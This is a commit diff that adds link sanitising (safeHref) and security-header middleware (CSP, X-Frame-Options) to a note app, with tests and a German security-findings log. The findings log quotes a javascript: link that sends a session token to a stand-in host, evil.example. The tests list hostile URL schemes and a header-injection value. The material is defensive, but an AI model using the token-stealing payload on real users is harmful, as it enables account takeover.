fix(security): safe links and security headers (FLAW-28, FLAW-29)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m48s

safeHref lets only http, https and mailto become links (Markdown viewer,
outliner, legal links); javascript: and friends show as text. A
middleware sets a Content-Security-Policy (scripts only from MindSift,
no framing, connections only to this server), X-Frame-Options,
nosniff, Referrer-Policy and a Permissions-Policy. The two inline
scripts of index.html moved to files so script-src stays 'self'.

The second inline script also deleted every cache on each page load,
which undermined the offline start; it is gone.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
sandrodachandClaude Opus 5.5 committed 2026-10-29 19:02:13 +01:00
1 parent 3ca4ff7bce
commit b2ecda9896
13 files changed
+175 -28

No files matched your search

+7
View File
@@ -6,6 +6,13 @@ Das Format folgt [Keep a Changelog](https://keepachangelog.com/de/1.1.0/), die V
## [Unreleased] ## [Unreleased]
### Security
- Links in Notizen, Aufgaben-Notizen und Impressum öffnen nur noch `http`, `https` und `mailto`; `javascript:` und ähnliche Links erscheinen als Text. Vorher konnte ein Bearbeiter einer geteilten Aufgabenliste über einen präparierten Link Code im Browser anderer ausführen (FLAW-28).
- Sicherheits-Header für alle Antworten: Content-Security-Policy (Scripts nur von MindSift selbst, keine Einbettung in fremde Seiten), `X-Frame-Options`, `X-Content-Type-Options`, `Referrer-Policy`, `Permissions-Policy` (FLAW-29).
### Fixed
- Der Offline-Start der App funktioniert zuverlässig: Ein altes Script in der Startseite hat bei jedem Aufruf alle Caches des Service Workers gelöscht.
### Changed ### Changed
- Versionsnummern folgen jetzt Semantic Versioning mit dreiteiligen Tags (`v0.6.0`); die Kopfzeile zeigt die volle Version (`v0.6.0-dev` für Entwicklungsstände). Vorabversionen wie `v1.0.0-rc.1` verschieben das Image `:stable` nicht. - Versionsnummern folgen jetzt Semantic Versioning mit dreiteiligen Tags (`v0.6.0`); die Kopfzeile zeigt die volle Version (`v0.6.0-dev` für Entwicklungsstände). Vorabversionen wie `v1.0.0-rc.1` verschieben das Image `:stable` nicht.
- Das Mengenfeld in Listen öffnet auf dem Handy die Zahlentastatur. - Das Mengenfeld in Listen öffnet auf dem Handy die Zahlentastatur.
+4 -2
View File
@@ -10,8 +10,8 @@ Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel**
| ID | Bereich | Kurzbeschreibung | Schwere | | ID | Bereich | Kurzbeschreibung | Schwere |
|---|---|---|---| |---|---|---|---|
| FLAW-28 | Frontend | `javascript:`-Links in Markdown (Aufgaben-Notizen) werden ausgeführt | Hoch | | FLAW-28 | Frontend | ~~`javascript:`-Links in Markdown (Aufgaben-Notizen) werden ausgeführt~~ | **Behoben** |
| FLAW-29 | Netzwerk | Keine Sicherheits-Header (CSP, Clickjacking-Schutz, `nosniff`) | Mittel | | FLAW-29 | Netzwerk | ~~Keine Sicherheits-Header (CSP, Clickjacking-Schutz, `nosniff`)~~ | **Behoben** |
| FLAW-30 | Konto | Passwort und E-Mail lassen sich ohne das aktuelle Passwort ändern | Mittel | | FLAW-30 | Konto | Passwort und E-Mail lassen sich ohne das aktuelle Passwort ändern | Mittel |
| FLAW-31 | Auth | Sitzungs-Token 30 Tage gültig und im `localStorage` | Mittel | | FLAW-31 | Auth | Sitzungs-Token 30 Tage gültig und im `localStorage` | Mittel |
| FLAW-32 | Daten | IDs und Einladungscodes haben nur 40 Bit Zufall | Mittel | | FLAW-32 | Daten | IDs und Einladungscodes haben nur 40 Bit Zufall | Mittel |
@@ -30,11 +30,13 @@ Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel**
## Details ## Details
### FLAW-28: `javascript:`-Links in Markdown ### FLAW-28: `javascript:`-Links in Markdown
- **Status: Behoben.** `safeHref` ([lib/safeUrl.ts](../frontend/src/lib/safeUrl.ts)) lässt nur `http:`, `https:` und `mailto:` zu und wird von Markdown-Anzeige, Outliner und Impressums-Links genutzt; sonst erscheint der Link als Text. Tests: `safeUrl.test.tsx`.
- **Fundstelle:** `renderInline` in [lib/markdown.tsx](../frontend/src/lib/markdown.tsx): `[Text](URL)` wird ungeprüft zu `<a href={url}>`. Verwendet für Aufgaben-Notizen (`TaskDetailModal`) und Impressum/Datenschutz. - **Fundstelle:** `renderInline` in [lib/markdown.tsx](../frontend/src/lib/markdown.tsx): `[Text](URL)` wird ungeprüft zu `<a href={url}>`. Verwendet für Aufgaben-Notizen (`TaskDetailModal`) und Impressum/Datenschutz.
- **Problem:** `[Rechnung](javascript:fetch('https://evil.example/?t='+localStorage.mindsift_jwt_token))` in den Notizen einer Aufgabe einer geteilten Aufgabenliste läuft beim Klick im Kontext der App. React 18 warnt nur, blockiert aber nicht. Weil das Sitzungs-Token im `localStorage` liegt (FLAW-31), ist das eine Kontoübernahme durch jeden Bearbeiter der Liste. Bullets im Outliner sind nicht betroffen, dort sind nur `http(s)`-Links erlaubt. - **Problem:** `[Rechnung](javascript:fetch('https://evil.example/?t='+localStorage.mindsift_jwt_token))` in den Notizen einer Aufgabe einer geteilten Aufgabenliste läuft beim Klick im Kontext der App. React 18 warnt nur, blockiert aber nicht. Weil das Sitzungs-Token im `localStorage` liegt (FLAW-31), ist das eine Kontoübernahme durch jeden Bearbeiter der Liste. Bullets im Outliner sind nicht betroffen, dort sind nur `http(s)`-Links erlaubt.
- **Maßnahme:** Nur `http:`, `https:` und `mailto:` als `href` zulassen, alles andere als Text. Zusätzlich CSP (FLAW-29). - **Maßnahme:** Nur `http:`, `https:` und `mailto:` als `href` zulassen, alles andere als Text. Zusätzlich CSP (FLAW-29).
### FLAW-29: Keine Sicherheits-Header ### FLAW-29: Keine Sicherheits-Header
- **Status: Behoben.** [headers.go](../internal/api/headers.go) setzt CSP (`script-src 'self'`, `frame-ancestors 'none'`, `object-src 'none'`, Verbindungen nur zum eigenen Server), `X-Frame-Options: DENY`, `nosniff`, `Referrer-Policy: same-origin`, `Permissions-Policy`. Die beiden Inline-Scripts der Startseite sind in Dateien gewandert; Styles bleiben inline erlaubt (eigene Themes). Mit Chromium und WebKit durch alle Ansichten geprüft: keine CSP-Meldungen.
- **Fundstelle:** Router in [server.go](../internal/api/server.go), Auslieferung in [cmd/server/main.go](../cmd/server/main.go). - **Fundstelle:** Router in [server.go](../internal/api/server.go), Auslieferung in [cmd/server/main.go](../cmd/server/main.go).
- **Problem:** Es gibt weder `Content-Security-Policy` noch `X-Frame-Options`/`frame-ancestors`, `X-Content-Type-Options: nosniff` oder `Referrer-Policy`. Fremde Seiten können MindSift in einen Frame laden (Clickjacking), und eingeschleustes Script (FLAW-28) wird nicht gebremst. - **Problem:** Es gibt weder `Content-Security-Policy` noch `X-Frame-Options`/`frame-ancestors`, `X-Content-Type-Options: nosniff` oder `Referrer-Policy`. Fremde Seiten können MindSift in einen Frame laden (Clickjacking), und eingeschleustes Script (FLAW-28) wird nicht gebremst.
- **Maßnahme:** Header-Middleware: `frame-ancestors 'none'`, `nosniff`, `Referrer-Policy: same-origin`, CSP mit `script-src 'self'` (Inline-Splash-Script per Hash erlauben) und `connect-src 'self'`. - **Maßnahme:** Header-Middleware: `frame-ancestors 'none'`, `nosniff`, `Referrer-Policy: same-origin`, CSP mit `script-src 'self'` (Inline-Splash-Script per Hash erlauben) und `connect-src 'self'`.
+1 -18
View File
@@ -40,14 +40,7 @@
<link rel="manifest" href="/manifest.json" /> <link rel="manifest" href="/manifest.json" />
<title>MindSift</title> <title>MindSift</title>
<script> <script src="/pwa-install.js"></script>
window.__deferredPwaPrompt = null;
window.addEventListener('beforeinstallprompt', function (e) {
e.preventDefault();
window.__deferredPwaPrompt = e;
window.dispatchEvent(new CustomEvent('mindsift:pwa-ready'));
});
</script>
</head> </head>
<body class="bg-[#0b0f19] text-[#e3e3e3] antialiased selection:bg-[#8ab4f8]/30 selection:text-[#8ab4f8]"> <body class="bg-[#0b0f19] text-[#e3e3e3] antialiased selection:bg-[#8ab4f8]/30 selection:text-[#8ab4f8]">
<!-- Shown until React mounts and replaces it: full blue with the logo, no text, no white flash --> <!-- Shown until React mounts and replaces it: full blue with the logo, no text, no white flash -->
@@ -58,15 +51,5 @@
</div> </div>
</div> </div>
<script type="module" src="/src/main.tsx"></script> <script type="module" src="/src/main.tsx"></script>
<script>
if ('caches' in window) {
caches.keys().then((keys) => keys.forEach((k) => caches.delete(k))).catch(() => {});
}
if ('serviceWorker' in navigator) {
window.addEventListener('load', () => {
navigator.serviceWorker.register('/sw.js').catch(() => {});
});
}
</script>
</body> </body>
</html> </html>
+8
View File
@@ -0,0 +1,8 @@
// Runs before the app: browsers fire beforeinstallprompt early, the app picks it up later
// ("App installieren"). A file instead of an inline script so the CSP can stay at script-src 'self'.
window.__deferredPwaPrompt = null;
window.addEventListener('beforeinstallprompt', function (e) {
e.preventDefault();
window.__deferredPwaPrompt = e;
window.dispatchEvent(new CustomEvent('mindsift:pwa-ready'));
});
+3 -2
View File
@@ -3,6 +3,7 @@ import { AuthStatus } from '../lib/types';
import { api } from '../lib/api'; import { api } from '../lib/api';
import { MarkdownViewer } from '../lib/markdown'; import { MarkdownViewer } from '../lib/markdown';
import { ReadingModal } from './ReadingModal'; import { ReadingModal } from './ReadingModal';
import { safeHref } from '../lib/safeUrl';
type LegalType = 'imprint' | 'privacy'; type LegalType = 'imprint' | 'privacy';
const TITLES: Record<LegalType, string> = { imprint: 'Impressum', privacy: 'Datenschutz' }; const TITLES: Record<LegalType, string> = { imprint: 'Impressum', privacy: 'Datenschutz' };
@@ -41,8 +42,8 @@ export const LegalLinks: React.FC<LegalLinksProps> = ({ legal, className = '', c
return ( return (
<div className={`flex flex-wrap items-center justify-center gap-x-4 gap-y-1 text-[11px] text-muted ${className}`}> <div className={`flex flex-wrap items-center justify-center gap-x-4 gap-y-1 text-[11px] text-muted ${className}`}>
{entries.map((e) => {entries.map((e) =>
e.url ? ( e.url && safeHref(e.url) ? (
<a key={e.type} href={e.url} target="_blank" rel="noopener noreferrer" className="hover:text-main underline-offset-2 hover:underline"> <a key={e.type} href={safeHref(e.url) as string} target="_blank" rel="noopener noreferrer" className="hover:text-main underline-offset-2 hover:underline">
{TITLES[e.type]} {TITLES[e.type]}
</a> </a>
) : ( ) : (
@@ -25,6 +25,7 @@ import { DocumentBlock, BlockType } from '../../lib/types';
import { LinkModal } from './LinkModal'; import { LinkModal } from './LinkModal';
import { renderInlineMarkdown } from '../../lib/markdown'; import { renderInlineMarkdown } from '../../lib/markdown';
import { api } from '../../lib/api'; import { api } from '../../lib/api';
import { safeHref } from '../../lib/safeUrl';
export interface SlashCommand { export interface SlashCommand {
type: BlockType | 'link'; type: BlockType | 'link';
@@ -1001,9 +1002,9 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
); );
} }
const mdMatch = part.match(/^\[(.*?)\]\((https?:\/\/.*?)\)$/); const mdMatch = part.match(/^\[(.*?)\]\((https?:\/\/.*?)\)$/);
if (mdMatch) { if (mdMatch && safeHref(mdMatch[2])) {
const label = mdMatch[1]; const label = mdMatch[1];
const url = mdMatch[2]; const url = safeHref(mdMatch[2]) as string;
return ( return (
<a <a
key={idx} key={idx}
@@ -1018,11 +1019,11 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
</a> </a>
); );
} }
if (/^https?:\/\//.test(part)) { if (/^https?:\/\//.test(part) && safeHref(part)) {
return ( return (
<a <a
key={idx} key={idx}
href={part} href={safeHref(part) as string}
target="_blank" target="_blank"
rel="noopener noreferrer" rel="noopener noreferrer"
className="inline-flex items-center gap-0.5 px-1.5 py-0.5 text-[10px] font-medium text-status-ok bg-status-ok/10 hover:bg-status-ok/20 rounded-btn transition-colors" className="inline-flex items-center gap-0.5 px-1.5 py-0.5 text-[10px] font-medium text-status-ok bg-status-ok/10 hover:bg-status-ok/20 rounded-btn transition-colors"
@@ -0,0 +1,38 @@
import { describe, it, expect } from 'vitest';
import { safeHref } from '../safeUrl';
describe('safeHref', () => {
it('keeps web and mail links', () => {
expect(safeHref('https://example.com/a?b=1')).toBe('https://example.com/a?b=1');
expect(safeHref(' http://example.com ')).toBe('http://example.com/');
expect(safeHref('mailto:anna@example.com')).toBe('mailto:anna@example.com');
});
it('drops everything that could run code or load local data', () => {
for (const bad of [
'javascript:alert(1)',
'JaVaScRiPt:alert(1)',
' javascript:alert(1)',
'java\tscript:alert(1)',
'java\nscript:alert(1)',
'data:text/html,<script>alert(1)</script>',
'vbscript:msgbox(1)',
'file:///etc/passwd',
'/relative/path',
'',
]) {
expect(safeHref(bad)).toBeNull();
}
});
});
describe('Markdown links in task notes', () => {
it('render javascript: links as text, web links as links', async () => {
const { render } = await import('@testing-library/react');
const { MarkdownViewer } = await import('../markdown');
const { container } = render(<MarkdownViewer content={'[Rechnung](javascript:alert(1)) und [Seite](https://example.com)'} />);
const links = Array.from(container.querySelectorAll('a'));
expect(links.map((a) => a.getAttribute('href'))).toEqual(['https://example.com/']);
expect(container.textContent).toContain('Rechnung');
});
});
+3 -2
View File
@@ -1,4 +1,5 @@
import React from 'react'; import React from 'react';
import { safeHref } from './safeUrl';
/** /**
* Parses inline markdown: * Parses inline markdown:
@@ -86,9 +87,9 @@ function renderInlineTokens(text: string, options?: InlineMarkdownOptions): Reac
{token.slice(2, -2)} {token.slice(2, -2)}
</del> </del>
); );
} else if (token.startsWith('[') && match[2] && match[3]) { } else if (token.startsWith('[') && match[2] && match[3] && safeHref(match[3])) {
const label = match[2]; const label = match[2];
const url = match[3]; const url = safeHref(match[3]) as string;
elements.push( elements.push(
<a <a
key={key} key={key}
+16
View File
@@ -0,0 +1,16 @@
// Links from user content (notes, task notes, Markdown) may only point to web pages or mail addresses.
// Anything else – javascript:, data:, vbscript:, file: and friends – would run or load in the app's
// context when clicked, so it is shown as plain text instead (FLAW-28).
const ALLOWED_PROTOCOLS = new Set(['http:', 'https:', 'mailto:']);
export function safeHref(raw: string): string | null {
const value = raw.trim();
if (!value) return null;
try {
// Browsers ignore control characters and whitespace inside the scheme ("java\tscript:"); URL does the same
const url = new URL(value);
return ALLOWED_PROTOCOLS.has(url.protocol) ? url.href : null;
} catch {
return null; // relative or broken: not a link
}
}
+7
View File
@@ -12,3 +12,10 @@ ReactDOM.createRoot(document.getElementById('root')!).render(
</React.StrictMode> </React.StrictMode>
); );
// Service worker for the app shell (offline start, see public/sw.js)
if ('serviceWorker' in navigator) {
window.addEventListener('load', () => {
navigator.serviceWorker.register('/sw.js').catch(() => {});
});
}
+48
View File
@@ -0,0 +1,48 @@
package api
import (
"net/http"
"strings"
)
// securityHeaders protects the browser side (FLAW-29):
// - Content-Security-Policy: scripts only from MindSift itself, so injected markup cannot run code;
// styles may be inline (custom themes, style attributes); images also from https (avatar URLs);
// connections only to this server, including its WebSocket.
// - frame-ancestors 'none' / X-Frame-Options: no embedding in other sites (clickjacking).
// - nosniff, a same-origin referrer and a permissions policy that only allows the microphone
// (speech input) for MindSift itself.
func (s *Server) securityHeaders(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
h := w.Header()
h.Set("Content-Security-Policy", contentSecurityPolicy(r.Host))
h.Set("X-Frame-Options", "DENY")
h.Set("X-Content-Type-Options", "nosniff")
h.Set("Referrer-Policy", "same-origin")
h.Set("Permissions-Policy", "microphone=(self), camera=(), geolocation=(), payment=()")
next.ServeHTTP(w, r)
})
}
func contentSecurityPolicy(host string) string {
connect := "'self'"
// Older Safari versions do not count ws:/wss: as 'self'
if host != "" && !strings.ContainsAny(host, " ;'\"") {
connect += " wss://" + host + " ws://" + host
}
return strings.Join([]string{
"default-src 'self'",
"script-src 'self'",
"style-src 'self' 'unsafe-inline'",
"img-src 'self' data: blob: https:",
"font-src 'self' data:",
"connect-src " + connect,
"worker-src 'self'",
"manifest-src 'self'",
"media-src 'self' blob:",
"object-src 'none'",
"base-uri 'self'",
"form-action 'self'",
"frame-ancestors 'none'",
}, "; ")
}
+34
View File
@@ -0,0 +1,34 @@
package api
import (
"net/http"
"net/http/httptest"
"strings"
"testing"
)
func TestSecurityHeaders(t *testing.T) {
srv, _, _ := setupTestServer(t)
rec := httptest.NewRecorder()
req := httptest.NewRequest(http.MethodGet, "/api/v1/health", nil)
req.Host = "notes.example.com"
srv.Router().ServeHTTP(rec, req)
csp := rec.Header().Get("Content-Security-Policy")
for _, want := range []string{"script-src 'self'", "frame-ancestors 'none'", "object-src 'none'", "wss://notes.example.com"} {
if !strings.Contains(csp, want) {
t.Errorf("CSP lacks %q: %s", want, csp)
}
}
if strings.Contains(csp, "unsafe-eval") || strings.Contains(strings.Split(strings.Split(csp, "script-src")[1], ";")[0], "unsafe-inline") {
t.Errorf("scripts must not allow inline or eval: %s", csp)
}
for k, v := range map[string]string{"X-Frame-Options": "DENY", "X-Content-Type-Options": "nosniff", "Referrer-Policy": "same-origin"} {
if rec.Header().Get(k) != v {
t.Errorf("%s = %q, want %q", k, rec.Header().Get(k), v)
}
}
// A Host header with quotes or semicolons must not be able to extend the policy
if p := contentSecurityPolicy("evil.com; script-src *"); strings.Contains(p, "evil.com") {
t.Errorf("host must not be copied into the policy unchecked: %s", p)
}
}
+1
View File
@@ -83,6 +83,7 @@ func (s *Server) Router() http.Handler {
r := chi.NewRouter() r := chi.NewRouter()
r.Use(s.clientIPMiddleware) r.Use(s.clientIPMiddleware)
r.Use(s.securityHeaders)
r.Use(s.demoResetGate) r.Use(s.demoResetGate)
r.Use(middleware.Recoverer) r.Use(middleware.Recoverer)
r.Use(s.apiLoggingMiddleware) r.Use(s.apiLoggingMiddleware)